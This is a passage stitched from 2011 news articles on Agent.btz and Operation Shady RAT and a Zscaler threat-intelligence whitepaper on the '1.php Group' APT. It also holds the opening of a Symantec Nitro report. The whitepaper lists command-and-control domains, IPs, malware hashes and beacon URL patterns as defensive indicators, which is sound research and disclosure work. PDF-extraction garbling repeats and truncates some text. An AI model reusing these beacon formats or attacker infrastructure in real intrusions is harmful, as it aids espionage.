undermining future cooperation. The Department of Homeland Security, meanwhile, worked to keep its lead role in securing the nation against cyberthreats. The debate bogged down over how far the military could go to parry attacks, which can be routed from server to server, sometimes in multiple countries. Could you go only to the first [server] you trace back to? Could you go all the way to the first point at which the attack emanated from? Those were the questions that were still being negotiated, said a former U.S. official. The questions were even more vexing when it came to potentially combating an attack launched from servers within the United States. The military has no authority to act in cyberspace when the networks are domestic unless the operation is on its own systems. In October 2010, Pentagon officials signed an agreement with the Department of Homeland Security pledging to work to enhance the nation s cybersecurity. But in speeches, Alexander, the head of Cyber Command, has suggested that more needs to be done. Right now, my mission as commander of U.S. Cyber Command is to defend the military networks, he said in an April speech in Rhode Island. I do not have the authority to look at what s going on in other government sectors, nor what would happen in critical infrastructure. That right now falls to DHS. It also means that I can t stop it, or at network speed . . . see what s happening to it. What we do believe, though, is that that needs to be accounted for. We have to have a way to protect our critical infrastructure. Homeland Security Secretary Janet Napolitano, in a speech in California that same month, made her preference clear. At DHS, we believe cyberspace is fundamentally a civilian space. The execute order was signed in February. The standing rules of engagement limit the military to the defense of its own networks and do not allow it to go outside them without special permission from the president. The next vulnerability? Almost from the beginning, U.S. officials suspected that Russia s spy service created Agent.btz to steal military secrets. In late 2008, Russia issued a denunciation of the allegation, calling it groundless and irresponsible. Former officials say there is evidence of a Russian role in developing the malware, but some doubt whether the spy service created Agent.btz to infiltrate U.S. military computers. Some say it could have been a product of Russia s sophisticated mafia, with its extensive computer expertise, to collect all sorts of protected records worth stealing or selling to the highest bidder. Or there could have been Russian involvement in one phase of the malware s development before it was adapted by others. Others say they have no doubt that it was intentionally aimed at the Defense Department. New versions of Agent.btz continue to appear, years after it was discovered. What is clear is that Agent.btz revealed weaknesses in crucial U.S. government computer networks vulnerabilities based on the weakest link in the security chain: human beings. The development of new defenses did not prevent the transfer of massive amounts of information from one classified network to the antisecrecy group WikiLeaks, an act that the government charges was carried out by an Army intelligence analyst. NSA analysts know how to neutralize Agent.btz and its variants, but no one knows when the next vulnerability will be discovered or what kind of intrusion might ensue. Richard Dickie George, who was the NSA information assurance technical director until his retirement this year, said that in the early days of Operation Buckshot Yankee, a four-star general asked when the danger from Agent.btz would pass and heightened security measures could end. We had to break the news to him, George recalled, that this is never going to be over. Staff researcher Julie Tate contributed to this report. Exclusive: Operation Shady rat Unprecedented Cyber-espionage Campaign and Intellectual-Property Bonanza For at least five years, a high-level hacking campaign dubbed Operation Shady rat has infiltrated the computer systems of national governments, global corporations, nonprofits, and other organizations, with more than 70 victims in 14 countries. Lifted from these highly secure servers, among other sensitive property: countless government secrets, e-mail archives, legal contracts, and design schematics. Here, Vanity Fair s Michael Joseph Gross breaks the news of Operation Shady rat s existence and speaks to the McAfee cyber-security expert who discovered it. Photographs by Molly Riley/Reuters/Landov (Hillary) and Paul Sakuma/A.P. Images (Google); illustration by Brad Holland (center). When the history of 2011 is written, it may well be remembered as the Year of the Hack. Long before the saga of News of the World phone hacking began, stories of computer breaches were breaking almost every week. In recent months, Sony, Fox, the British National Health Service, and the Web sites of PBS, the U.S. Senate, and the C.I.A., among others, have all fallen victim to highly publicized cyber-attacks. Many of the breaches have been attributed to the groups Anonymous and LulzSec. Dmitri Alperovitch, vice president of threat research at the cybersecurity firm McAfee, says that for him, s been really hard to watch the news of this Anonymous and LulzSec stuff, because most of what they do, defacing Web sites and running denial-of-service attacks, is not serious. It s really just nuisance. Just nuisance, that is, compared with a five-year campaign of hacks that Alperovitch discovered and named Operation Shady rat campaign that continues even now, and is being reported for the first time today, by vanityfair.com, and in a lengthier report on the larger problem of industrial cyber-espionage in the September issue of Vanity Fair. Operation Shady rat ranks with Operation Aurora (the attack on Google and many other companies in 2010) as among the most significant and potentially damaging acts of cyber-espionage yet made public. Operation Shady rat has been stealing valuable intellectual property (including government secrets, e-mail archives, legal contracts, negotiation plans for business activities, and design schematics) from more than 70 public- and private-sector organizations in 14 countries. The list of victims, which ranges from national governments to global corporations to tiny nonprofits, demonstrates with unprecedented clarity the universal scope of cyberespionage and the vulnerability of organizations in almost every category imaginable. In Washington, where policymakers are struggling to chart a strategy for combating cyber-espionage, Operation Shady rat is already drawing attention at high levels. Last week, Alperovitch provided confidential briefings on Shady rat to senior White House officials, executive-branch agencies, and congressional-committee staff. Senator Dianne Feinstein (D-CA), chairman of the Senate Select Committee on Intelligence, reviewed the McAfee report on Shady rat and wrote in an e-mail to Vanity Fair: This is further evidence that we need a strong cyber-defense system in this country, and that we need to start applying pressure to other countries to make sure they do more to stop cyber hacking emanating from their borders. McAfee says that victims include government agencies in the United States, Taiwan, South Korea, Vietnam, and Canada, the Olympic committees in three countries, and the International Olympic Committee. Rounding out the list of countries where Shady rat hacked into computer networks: Japan, Switzerland, the United Kingdom, Indonesia, Denmark, Singapore, Hong Kong, Germany, and India. The vast majority of victims were U.S.based companies, government agencies, and nonprofits. The category most heavily targeted was defense contractors 13 in all. In addition to the International Olympic Committee, the only other victims that McAfee has publicly named are the World Anti-doping Agency, the United Nations, and ASEAN, the Association of Southeast Asian Nations (whose members are Indonesia, Malaysia, the Philippines, Singapore, Thailand, Brunei, Burma [Myanmar], Cambodia, Laos, and Vietnam). In an e-mail to vanityfair.com, I.O.C. communications director Mark Adams wrote, If proved true, such allegations would be disturbing. However, the IOC is transparent in its operations and has no secrets that would compromise either our operations or our reputation. WADA spokesman Terence O Rourke wrote in an e-mail that WADA is constantly alert to the dangers of cyber hacking and maintains a vigilant security system on all of its computer programs. He added that WADA s Anti-Doping Administration & Management System (ADAMS), which is on a completely different server to WADA s emails, has never been compromised and remains a highly-secure system for the retention of athlete data. A prominent cyber-security expert who was briefed by McAfee on the intrusions says that the Associated Press was also a victim. McAfee declined to comment on that suggestion. Jack Stokes, A.P. mediarelations manager, said, We don t comment on our network security, when I asked if it was true that the A.P. was among Shady rat victims. Alperovitch believes the hacking was state-sponsored, pointing to Shady rat s targeting of Olympic committees and political nonprofits as evidence, and contending that [t]here s no economic gain to spying on them. Citing McAfee company policy, he refused to speculate on which country was behind Shady rat. One leading cyber-espionage expert, however, thinks the likely culprit s identity is clear. All the signs point to China, says James A. Lewis, director and senior fellow of the Technology and Public Policy Program at the Center for Strategic and International Studies, adding, Who else spies on Taiwan? Alperovitch first picked up the trail of Shady rat in early 2009, when a McAfee client, a U.S. defense contractor, identified suspicious programs running on its network. Forensic investigation revealed that the defense contractor had been hit by a species of malware that had never been seen before: a spear-phishing e-mail containing a link to a Web page that, when clicked, automatically loaded a malicious program a remote-access tool, or rat onto the victim s computer. The rat opened the door for a live intruder to get on the network, escalate user privileges, and begin exfiltrating data. After identifying the command-and-control server, located in a Western country, that operated this piece of malware, McAfee blocked its own clients from connecting to that server. Only this March, however, did Alperovitch finally discover the logs stored on the attackers servers. This allowed McAfee to identify the victims by name (using their Internet Protocol [I.P.] addresses) and to track the pattern of infections in detail. The evolution of Shady rat s activity provides more circumstantial evidence of Chinese involvement in the hacks. The operation targeted a broad range of public- and private-sector organizations in almost every country in Southeast Asia but none in China. And most of Shady rat s targets are known to be of interest to the People Republic. In 2006, or perhaps earlier, the intrusions began by targeting eight organizations, including South Korean steel and construction companies, a South Korean government agency, a U.S. Department of Energy laboratory, a U.S. real-estate company, international-trade organizations of Western and Asian nations, and the ASEAN Secretariat. (According to McAfee Operation Shady rat white paper, [t]hat last intrusion began in October [2006], a month prior to the organization s annual summit in Singapore, and continued for another 10 months. ) In 2007, the activity ramped up to hit 29 organizations. In addition to those previously targeted, new victims included a technology company owned by the Vietnamese government, four U.S. defense contractors, a U.S. federal-government agency, U.S. state and county government organizations, a computernetwork-security company and the national Olympic committees of two countries in Asia and one in the West, as well as the I.O.C. The Olympic organizations, strikingly, were targeted in the months leading up to the 2008 Olympic Games in Beijing. Shady rat s activity continued to build in 2008, when it infiltrated the networks of 36 organizations, including the United Nations and reached a crest of 38 organizations, including the World Anti-doping Agency, in 2009. Since then, the victim numbers have been dropping, but the activity continues. Shady rat s command-and-control server is still operating, and some organizations, including the World Anti-doping Agency, were still under attack as of last month. (As of Tuesday, according to a WADA spokesman, the group was unaware of any breach, but WADA is investigating McAfee s discovery.) The longest compromise duration on and off for 28 months, according to McAfee s report was one Asian country s Olympic committee. Many others were compromised for two full years. Nine organizations were compromised for one month or less. All others were compromised for a minimum of one month, potentially allowing for complete access to all data on their servers. Alperovitch says that McAfee is working closely with U.S.government agencies, a variety of them, law enforcement and others, in hopes of eventually shutting down Shady rat s command-and-control server. (He declined to say whether U.S. intelligence agencies are involved in the investigation.) Alperovitch s diagnosis of the problem raised by Shady rat is troubling: s clear from this and other attacks we ve been witnessing that there is an unprecedented transfer of wealth in the form of trade secrets and I.P., primarily from Western organizations and companies, falling off the truck and disappearing into massive electronic archives. What is happening to this data? Is this being accumulated in a giant, Indiana Jones type warehouse? Or is it being used to create new products? If it s the latter, we won t know for a number of years. But if so, it s not just a problem for these companies, but also for the governments of the countries where these companies are located, because they re losing their economic advantage to competitors in other parts of the world overnight. That is a national-security problem, insofar as it leads to loss of jobs and lost economic growth. That serious threat. His account of attempting to inform some of Shady rat s victims may be even more troubling. Some victims seem determined to deny they ve been attacked, even when offered empirical proof that a smash-and-grab has taken place. Two weeks ago, McAfee sent e-mails to officials at four organizations, informing them that their computer networks had been compromised. To each, Alperovitch wrote, would be glad to work with you and provide our assistance to help you determine the impact of the intrusion or how to prevent this type of infiltration in the future. Three of those organizations including one whose breach is ongoing made no response to McAfee s notifications. Even after McAfee s second attempt to offer information about the breaches to two of the groups, Alperovitch says, they expressed no interest in learning details of the intrusions. The spokesman for one of those organizations, WADA, told me that he considered Alperovitch s first e-mail to be spam. He said, We are conducting our own investigation of the allegations. When asked why WADA chose not to accept McAfee s offer to provide detailed information that could help in that investigation, the spokesman answered, I am under no obligation to answer your questions about my investigation. (Later that day, according to McAfee, WADA did request information concerning the attack.) ve seen this before, Alperovitch says. Victims don t want to know they re victims. I guess that s just victim psychology: if you don know about it, it s not really happening. Alleged APT Intrusion Set: 1.php Group Whitepaper: Alleged APT Intrusion Set: 1.php Group 2011 Zscaler. All Rights Reserved. Page 1 Alleged APT Intrusion Set: 1.php Group The following release statement provides a brief summary of information related to the 1.php Group dating from 2008 to present. This Group s methods tend to be spear-phishing emails with malicious PDF attachments or web links to binary executables with a Poison Ivy remote administration tool (RAT) payload. The Group s targeted victims included China/US relations experts, Defense entities, and the Geospatial industry. Zscaler detected repeated infections from this Group to a customer related to this target list. The following report summarizes the incident details to This Group methods tend to be spear-phishing emails with malicious PDF attachments or web links to binary executables with a (RAT) payload. Summary increase awareness of these attacks in order to increase detection, -Zscaler ThreatLabZ response, and prevention. A much more detailed report has been provided to impacted parties, stakeholders, and other trusted groups dealing with these incidents. The larger report dives into more details about the command and control servers (C&Cs) would like to collaborate, please contact threatlabz@zscaler.com and we will share the detailed report with select entities. Introduction Zscaler provides inline security and policy enforcement of web and email transactions to include full-content inspection and comprehensive transaction logging and analysis. Given that many of Zscaler s customers are large enterprises, it is not surprising that some have been the target of so called Advanced The Group targeted victims included China/US relations experts, Defense entities, and the Geospatial industry. being used by this Group. If you are working on similar research -Zscaler ThreatLabZ Persistent Threats (APTs). During the course of our daily activities researching various threats, Zscaler ThreatlabZ often uncovers infected hosts that we believe have been compromised via attacks that bear the signature of an APT attack. While there is no universally accepted definition of APT attacks, for the purposes of this paper we will leverage Richard Bejtlich s blog post on the subject1. 1. http://taosecurity.blogspot.com/2010/01/what-is-apt-and-what-does-it-want.html 2011 Zscaler. All Rights Reserved. Page 2 Alleged APT Intrusion Set: 1.php Group of computer intrusion. They can use the most pedestrian publicly available exploit against a well-known vulnerability, or they can elevate their game to research new vulnerabilities and develop custom exploits, depending on the target s posture. Persistent means the adversary is formally tasked to accomplish a mission. They are not opportunistic intruders. Like an intelligence unit they receive directives and work to satisfy their masters. Persistent does not necessarily mean they need to constantly execute malicious code on victim computers. Rather, they maintain the level of interaction needed to execute their objectives. Threat means the adversary is not a piece of mindless code. This point is crucial. Some people throw around the term threat with reference to malware. If malware had no human the adversary here is a threat because it is organized and funded and motivated. Some people speak of multiple groups consisting of dedicated crews with various missions. Advanced means the adversary can operate in the full spectrum -Richard Bejtlich, TaoSecurity blog attached to it (someone to control the victim, read the stolen data, etc.), then most malware would be of little worry (as long as it didn t degrade or deny data). Rather, the adversary here is a threat because it is organized and funded and motivated. Some people speak of multiple groups consisting of dedicated crews with various missions. 2011 Zscaler. All Rights Reserved. Page 3 Alleged APT Intrusion Set: 1.php Group Contents Summary....................................................................................................................... 1 Introduction.................................................................................................................... 1 Section 1: 1.php Group Open-Source Intelligence (OSINT).......................................... 5 Section 2: Customer Infection Behavior......................................................................... 8 2.1 GET Beacons with Modified XOR Parameters......................................................... 8 2.2 GET Beacons with Data moved to URL path............................................................ 9 2.3 HTTPS CONNECTs to C&Cs.................................................................................... 9 Section 3: Indent Inter-Relationships............................................................................. 10 3.1 Possible Relationship to Other APT Incidents.......................................................... 12 Section 4: Lessons Learned........................................................................................... 13 4.1 Conduct logging and analytics within your environment.......................................... 13 4.2 Correlate with other sources................................................................................... 14 4.3 APTs are not always that Advanced........................................................................ 14 4.4 APTs are not limited to the United States Government or Defense Industrial Base.... 14 4.5 APT Information Disclosure Remains a Challenge................................................... 15 Conclusion..................................................................................................................... 16 2011 Zscaler. All Rights Reserved. Page 4 Alleged APT Intrusion Set: 1.php Group 1.php Group Open-Source Intelligence (OSINT) There is a good deal of information in the public domain related to 1.php Group incidents (malware and C&Cs) that can be correlated with incident activity that we identify and detail within this report. Intrusion activities related to this Group date back at least to 2009, if not earlier (there is one sample we found dating back to 2008). For example, a December 7, 2009 blog post by Contagio2 details a malicious phishing email regarding United States troop deployment in Afghanistan that Once unzipped, the malware is a Windows executable with an SCR extension that is identified as a Poison Ivy RAT variant. Section 1: -Zscaler ThreatLabZ provides a malicious link to: File name: WWW.DREAMLIFES.NET/Afghanistan/Afghanistan.zip. MD5: 052E62513505A25CCFADF900A052709C Once unzipped, the malware is a Windows executable with an SCR extension that is identified as a Poison Ivy RAT variant. Beyond simple phishing attacks with links to malware, the Group also sends spearphishing emails with malicious PDF attachments to their targets. For example, the SANS ISC Handler s Diary drew attention to this Group phishing campaign exploiting CVE-2009-4324 in January 2010. A screenshot of their story headline is below in: Figure 1 SANS ISC Diary Headline related to 1.php malware campaign3. Figure 1 SANS ISC Diary Headline related to 1.php malware campaign An example of one of the Poison Ivy RAT payloads used during this campaign was: File name: SUCHOST.EXE dropped from Request.pdf email attachment MD5: B0EECA383A7477EE689EC807B775EBBB 2. http://contagiodump.blogspot.com/2009/12/attack-of-day-poison-ivy-zip-download.html 3. http://isc.sans.edu/diary.html?storyid=7867 2011 Zscaler. All Rights Reserved. Page 5 Alleged APT Intrusion Set: 1.php Group This file received commands from: CECON.FLOWER-SHOW.ORG. More recently, in July 2011, open-source reports4 exist of Poison Ivy usage surrounding the FLOWER-SHOW.ORG domain. This incident exploited PDF vulnerabilities (CVE-2010-2883) in attached spear-phishing emails targeting experts on Japan, China, Taiwan / USA relationships. See a screenshot of the email in: Figure 2 Spear-phishing email with attachment exploiting CVE-2010-2883. Figure 2 Spear-phishing email with attachment exploiting CVE-2010-2883 Once the Poison Ivy payload is installed, it frequently uses a unique beaconing pattern to communicate with a C&C server. To illustrate the communication sequence, reference the Joebox sandbox report5 for the following file: File name: Halloween.scr MD5: 5B90896127179F0AD2E6628593CDB60D 4. http://contagiodump.blogspot.com/2011/07/jul-13-cve-2010-2883-pdf-meeting-agenda.html 2011 Zscaler. All Rights Reserved. Page 6 Alleged APT Intrusion Set: 1.php Group Communicates with C&Cs: FREE.COFFEELAUCH.COM (98.126.69.3) FIREHAPPY.SYTES.NET * (98.126.69.3) Via HTTP GET requests to the path: /1.php?id=[data1]&id=[data2] &id=[data3]&id=[data4]&id=&id= 2.php, 3.php, and 4.php with id parameters and some with an ending &Done have also been observed The data parameters are information about the infected host (IP, hostname, MAC address, username, and OS/system version) that have been base64 encoded and then XORed. XOR keys of 0x3C and 0x3E have been observed. An asterisk following a domain will designate No-IP6 dynamic DNS The 1.php?= HTTP GET request for the initial C&C checkin has been identified in the majority of past incidents involving this Group and is the reason for the informal 1.php name used to describe this intrusion set. This report shows that once infected, the victim: -Zscaler ThreatLabZ domains in this report. Dynamic DNS is a service that provides free, cheap flexible domain hostname to IP address resolution and No-IP is one of the many vendors in this space. While the malware variants used are generally referred to as Poison Ivy variants, there are many cases of them being detected/labeled as a generic Trojan, Backdoor, or something else entirely. For example, in a December 2009 malware report Kaspersky lists one variant as Trojan. Win32.Buzus.cvdu7 and in June 2010 another as Trojan.Win32.Agent. eevf8 . Note the 1.php?id= HTTP GET request for the initial C&C check-in. This specific behavior has been identified in the vast majority of past incidents involving this Group and is reason for the informal 1.php name used to describe these intrusion sets within the report. More information may be garnered from the open-source community, but the above should be a sufficient introduction into the tactics, techniques, and procedures (TTPs) of this Group. 5. http://support.clean-mx.de/clean-mx/view_joebox.php?md5=9339bb2af4d8c07e63051d0f120530e1&id=679603 6. http://www.no-ip.com/services/managed_dns/free_dynamic_dns.html 7. http://www.securelist.com/en/descriptions/7383071/Trojan.Win32.Buzus.cvdu 8. http://www.securelist.com/en/descriptions/7854148/Trojan.Win32.Agent.eevf 2011 Zscaler. All Rights Reserved. Page 7 Alleged APT Intrusion Set: 1.php Group Zscaler has observed on-going attacks from June 2010 to present, involving a Cleared Defense Contractor. Given the entity involved and the characteristics of the traffic observed, Zscaler believes that the attack is directly related to the 1.php Group. While these attacks appear related to the 1.php Group, the beacons do not bear the previously mentioned 1.php HTTP path. However, there are many similarities regarding these beacons as well as direct relationships regarding previously Zscaler believes that ongoing attacks against a sensitive customer are directly related to the 1.php Group. Section 2: Customer Infection Behavior -Zscaler ThreatLabZ identified domains and IPs used by the 1.php group. Presumably, these beacon behaviors have been altered to evade any signatures designed to detect the previous 1.php beaconing behavior. 2.1 GET Beacons with Modified XOR Parameters One of the first variations that we noticed in the attacks, was that the infected hosts sent HTTP GET request check-ins to URLs with the general pattern of: FQDN/css.ashx?sc=[data1]&sp=[data2]&ad=[data3]&dh=[data4]&mr=[d ata5]&tk= The data parameters contained the same victim information as mentioned in the 1.php beacons and were also base64 encoded and XORed with a key. Examples of C&Cs that we observed for this particular check-in variant include: HOUSE.SUPERDOGDREAM.COM HOME.ALLMYDEARFRIENDS.COM GOOGLETIME.SERVEIRC.COM * INFO.SPORTGAMEINFO.COM PEOPLE.ENJOYHOLIDAYS.NET PEARHOST.SERVEHALFLIFE.COM * (June 2010 1st C&C observed in infection) 2011 Zscaler. All Rights Reserved. Page 8 Alleged APT Intrusion Set: 1.php Group The next variation that we noticed in attacks, involved the infected hosts sending HTTP GET request check-ins to URLs with the general pattern of: FQDN/[data1]/[data2]/[data3]/[data4]/[data5] The data did not appear to be XORed in the same manner as the beacons that were previously identified. However, based on size and number of data blocks, it appears that the beacons contain similar information from the victims. Examples of C&Cs used in this infection variant include: SATELLITE.QUICKSEARCHMOVIE.COM WWW.TOYHOPING.COM WORK.FREETHROWLINE.NET SEA.ANIMALFANS.NET WWW.SEARCHSEA.NET LOVE.ANIMALFANS.NET WWW.JOBCALL.ORG it is currently believed that the infection point was through malicious email attachments (as was the case in many of the 1.php OSINT incidents). 2.2 GET Beacons with Data moved to URL path -Zscaler ThreatLabZ 2.3 HTTPS CONNECTs to C&Cs The latest variations on these attacks are related to customer infections beginning on August 3, 2011. Prior to infection for this incident, as well as the previous ones listed, web transaction logs did not provide any strong evidence of the infection point it is currently believed that the infection point was through malicious email attachments (as was the case in many of the 1.php OSINT incidents). Following infection, many web transactions were witnessed each hour to the C&C servers via HTTPS with the following behaviors: CONNECT on port 443/TCP with 200 HTTP response code HTTP request version 1.0 with HTTP response version 1.1 Request size for keep-alive beacons were primarily 227 228 bytes Response size is most commonly between 969 990 bytes Microsoft Internet Explorer 6.0 user-agent string (hard-coded into malware, as this is not a standard browser for this customer) 2011 Zscaler. All Rights Reserved. Page 9 Alleged APT Intrusion Set: 1.php Group Examples of C&Cs used in this infection variant include: WWW.SAVAGECOUNTY.NET LOOK.CAPTAINSABERTOOTH.NET GEOINFO.SERVEHTTP.COM * ROSE.OFFICESKYLINE.COM WWW.CAREERCHALLENGES.NET OFFER.AMERICAMS.N Section 3: Incident Inter-Relationships There are a number of domains and IP addresses that have been tied to the previously mentioned incidents. Toward the beginning of the report it was stated that we believed all of these incidents to be related. As has already been seen, there are some similarities across the incidents, such as same victim organization, similar beaconing data blocks, and infection believed to be from malicious email attachments. However, the strongest evidence for their relationship is the fact that related domains and IPs are used for C&Cs across these incidents. 2011 Zscaler. All Rights Reserved. Page 10 Alleged APT Intrusion Set: 1.php Group The following Figure 3 - Link-Graph of 1.php Incident Inter-Relationship provides this illustration with only a small snippet of information from these incidents: OSINT 1.php Incidents DOMAIN HOSTNAME firehappy.sytes.net free coffeelaunch.com image IP RESOLUTION 98.126.69.3 dreamlifes.net tastfine Zhang, Yao hua Registration details ICP100.net nmaeservers seablow.net superdogdream.com house allmydearfriends.com 2.1 Incidents sportgameinfo.com enjoyholidays.net 2.2 Incidents jobcall.org geoinfo.servehttp.com dream smart 178.63.130.197 rose 2.3 Incidents 46.4.209.130 officeskyline.com qinetiq captainsabertooth.net qnao savagecounty.net Example of Possible Victim Names look Figure 3 - Link-Graph of 1.php Incident Inter-Relationship 2011 Zscaler. All Rights Reserved. Page 11 Alleged APT Intrusion Set: 1.php Group Past experience with APT-style incidents show that hostnames may be used to identify the C&C for particular victims of interest. For example, in bakerhughes.thruthere.net9 was a C&C used against Baker Hughes in the disclosed Night Dragon10 attacks. There have been a number of interesting hostnames used with 1.php C&C domains that may indicate other potential victims. These hostnames potentially identify victims within the US Government (USG), Defense Industrial Base (DIB), and Geospatial industry. The above link-graph provides one example of such an entity that has information about its attacks already disclosed in There have been a number of interesting hostnames used with 1.php C&C domains that may include other potential victims. 3.1 Possible Relationship to Other APT Incidents -Zscaler ThreatLabZ the open-source (QinetiQ). QINETIQ or QNAO (QinetiQ North America Operations) for example, was an HBGary customer. HBGary supported QinetiQ in detection and analysis of on-going targeted attacks against them. Following the Anonymous compromise and leakage of HBGary information, there is significant information in the public domain regarding the attacks against QinetiQ. One such example is HBGary s Incident Response Technical Report Supplement for QinetiQ11 . Page 8 of that report, in the History of the strain section states: HBGary has code-named this threat group as Soysauce . This group is also known as Comment Crew by some, and also as GIF89a some. The choice of codename is completely arbitrary in this context and is simply meant to identify a group of Chinese hackers who have a consistent agenda to target the defense industrial complex. The name Comment Crew and GIF89a has been used by researchers because of the behavior of this group to enclose C&C commands within comments on HTML pages or hidden within image files, a technique known as steganography. These indicators have not been witnessed in the attacks previously listed in this report. Beyond a likely QinetiQ attack relation, there are a number of other hostnames that indicate potential attack targets of the 1.php Group. Disclosure of other possible victim names is intentionally omitted from this report. 9. http://hbgary.anonleaks.ch/greg_hbgary_com/2505.html 10. http://www.mcafee.com/in/resources/white-papers/wp-global-energy-cyberattacks-night-dragon.pdf 11. http://publicintelligence.info/HBGary-QinetiQ.pdf 2011 Zscaler. All Rights Reserved. Page 12 Alleged APT Intrusion Set: 1.php Group Section 4: Lessons Learned A number of lessons can be learned from analyzing incidents within this intrusion set. In the following section, we will discuss analytical techniques that enterprises should be adopting, in order to uncover similar attacks on their organizations. 4.1 Conduct logging and analytics within your environment This report shows an evolution of the beaconing behavior from the 1.php Group. Relying solely on existing signatures of known threats would not have triggered detections. By identifying transactions that are anomalous, it is possible to detect previous or recurring incidents, such as those identified above. Some of the anomalies, which led to the findings in this report, include: HTTP version 1.0 requests with version 1.1 responses Numerous transactions to an unknown / uncategorized domain Some of these transactions were to No-IP dynamic DNS domains Blocking or heavily monitoring the communication to dynamic DNS domains is recommended Some of these domains were parked Transactions occur during non-standard times (nights / weekends) Some transactions (in particular the GET beacons) had a larger request size than response size Microsoft IE 6 user-agent (UA) string usage in an environment that does not typically use this UA 2011 Zscaler. All Rights Reserved. Page 13 Alleged APT Intrusion Set: 1.php Group By leveraging data sources such as passive DNS, domain registration information, other open-source reports, and other research - it is possible to derive information about probable domains and infrastructure used, in other attacks by the same group of attackers. In some cases, this information may provide indicators as to the targets or purpose of the attacks. It should also be noted that making too many assumptions or believing unverified indicators as fact can lead to misleading information. Anyone can set a hostname for a C&C to be QINETIQ for example. However, by correlating these domains with a group that has been identified as being involved in APT attacks, provides a stronger indication into their possible target. While the exploitation used in some of the crafted PDF attachments may be considered advanced, for the most part the attack is one of social-engineering. 4.2 Correlate with other sources -Zscaler ThreatLabZ 4.3 APTs are not always that Advanced The above incident reports document (spear-) phishing with a malicious PDF attachment, or link to a binary executable with a Poison Ivy RAT payload. While the exploitation used in some of the crafted PDF attachments may be considered advanced, for the most part the attack is one of social-engineering. This is nothing new and something that other fraudsters / criminals have been leveraging for many years. RSA recently wrapped up their APT summit and their first finding concluded that the attack vector [is] shifting from technology to people 4.4 APTs are not limited to the United States Government or Defense Industrial Base The victim related to this report is neither a Government agency, nor an entity that would normally be associated with the Defense Industrial Base. While this report does list USG (United State Government) and DIB (Defense Industrial Base) entities as possible victims, there are many more commercial entities within the Geospatial and Telecommunication industries that appear to have been victims of this Group. Zscaler has noted both foreign and domestic entities that have been victims of other APT incidents as well. 12. http://www.rsa.com/summitresults 2011 Zscaler. All Rights Reserved. Page 14 Alleged APT Intrusion Set: 1.php Group 4.5 APT Information Disclosure Remains a Challenge Incident Information Disclosure is an extension to the heated debate around vulnerability information disclosure, and full-disclosure versus responsible-disclosure. Responsible-disclosure is fairly well defined and adopted within the vulnerability space, but it is not within the incident space. Here are some arguments for full disclosure of incident information: A larger community of awareness (and thus potential detection possibility), particularly if there are more organizations impacted A general philosophy that information should be public and that the Government or information security community should not have secrets kept from the public The public should be made aware of which organizations have been victimized so that this information and their response can be weighed before trusting them again in the future Here are some arguments for responsible disclosure (the selective release of information to specific parties) of incident information Public release will cause the attacker to alter their TTPs and possibly allow them to make changes to infected systems prior to incident response action, making detection more difficult Public release of information can be viewed as attempting to garner the spotlight for financial motives versus genuine concerns about security There may be law enforcement (or other) investigations that are on-going and such a release of information could compromise the investigation Zscaler adheres to the following general principals for incident/ vulnerability disclosure: Customer specific information is disclosed only to the impacted customer 2011 Zscaler. All Rights Reserved. Page 15 Alleged APT Intrusion Set: 1.php Group Customer information will be redacted prior to public disclosure or disclosure to other impacted parties, stake-holders, and trusted groups within the information security community Public disclosure will provide high-level indicators of compromise (such as general network behavior and malicious domains) without the release of specifics as to which organizations were impacted and is done so when it is believed that such information will benefit others in protecting against similar threats Based on feedback/approval from the impacted parties, stake-holders, and information security community additional information may be released to the public Zscaler is willing to share additional details of the incidents discussed in this report with trusted groups within the information security community to help further their research with regard to similar incidents. If you are interested in sharing data on this and other incidents, we encourage you to contact us at threatlabz@zscaler.com. Conclusion By interrogating Zscaler s comprehensive logging repository for anomalous activity and indicators of compromise, a Zscaler ThreatLabZ researcher identified a high-risk entity victimized by a possible APT attack linked to the 1.php Group. The conclusion that these attacks should be classified as an APT attack are based on the following indicators: The victim enterprise is a high risk target, involved in an industry that has regularly been targeted in similar attacks Linkages were identified among several previous incidents from 2010 to present, showing persistence There remains little to no open-source information on the domains / IPs used in the attack, and the linkage to open-source reports shows a correlation with past APT incidents 2011 Zscaler. All Rights Reserved. Page 16 Alleged APT Intrusion Set: 1.php Group APT incidents Some No-IP dynamic DNS domains used (while a weak APT indicator, dynamic DNS domains have often been used among documented APT incidents, such as Aurora and Night Dragon) Hostnames related to victims are used, which is a technique previously documented in other APT attacks Nameserver and domain registration information indicates likely Chinese origin of attacks VPS/hosting servers used match some of those previously used in alleged APT attacks. The sum of these indicators has led to our conclusion that this was The sum of these indicators has led to our conclusion that this was an attack performed over a significant period of time that focused on a specific target, given the sensitive nature of their work. The RAT payload in question is popular among previously documented -Zscaler ThreatLabZ an attack performed over a significant period of time that focused on a specific target, given the sensitive nature of their work. Based on information in the public domain, it appears that these attacks correlate with others, previously identified as being the work of the 1.php Group. Identified targets of these attacks include China/US relations experts, USG / DIB entities, and the Geospatial industry. Based on the targets, it is our belief that corporate espionage was the goal of the attacks. Open-source reports suggest that these attacks are more widespread than many realize and that the same or similar actors are compromising numerous organizations in order to steal sensitive intellectual property. As stated within the Lessons Learned section, it is important that those concerned about such attacks be vigilant in their log collection and analysis to identify anomalies or other indications of compromise. 2011 Zscaler. All Rights Reserved. Page 17 Alleged APT Intrusion Set: 1.php Group About Zscaler: The Cloud Security Company Zscaler enforces business policy, mitigates risk and provides twice the functionality at a fraction of the cost of current solutions, utilizing a multi-tenant, globally-deployed infrastructure. Zscaler s integrated, cloud-delivered security services include Web Security, Mobile Security, Email Security and DLP. Zscaler services enable organizations to provide the right access to the right users, from any place and on any device while empowering the end-user with a rich Internet experience. About Zscaler ThreatLabZ ThreatLabZ is the global security research team for Zscaler. Leveraging an aggregate view of billions of daily web transaction, from millions of users across the globe, ThreatLabZ identifies new and emerging threats as they occur, and deploys protections across the Zscaler Security Cloud in real time to protect customers from advanced threats. For more information, visit www.zscaler.com. 2011 Zscaler. All Rights Reserved. Page 18 Security Response The Nitro Attacks Stealing Secrets from the Chemical Industry Eric Chien and Gavin O Gorman Contents Introduction........................................................ 1 Targets................................................................ 1 Attack methodology........................................... 2 Geographic Spread ............................................ 3 Attribution........................................................... 4 Technical details................................................. 4 Delivery......................................................... 4 Threat details................................................ 5 Command and Control (C&C)....................... 6 Related Attacks................................................... 6 Summary............................................................. 6 Appendix............................................................. 7 Introduction This document discusses a recent targeted attack campaign directed primarily at private companies involved in the research, development, and manufacture of chemicals and advanced materials. The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical 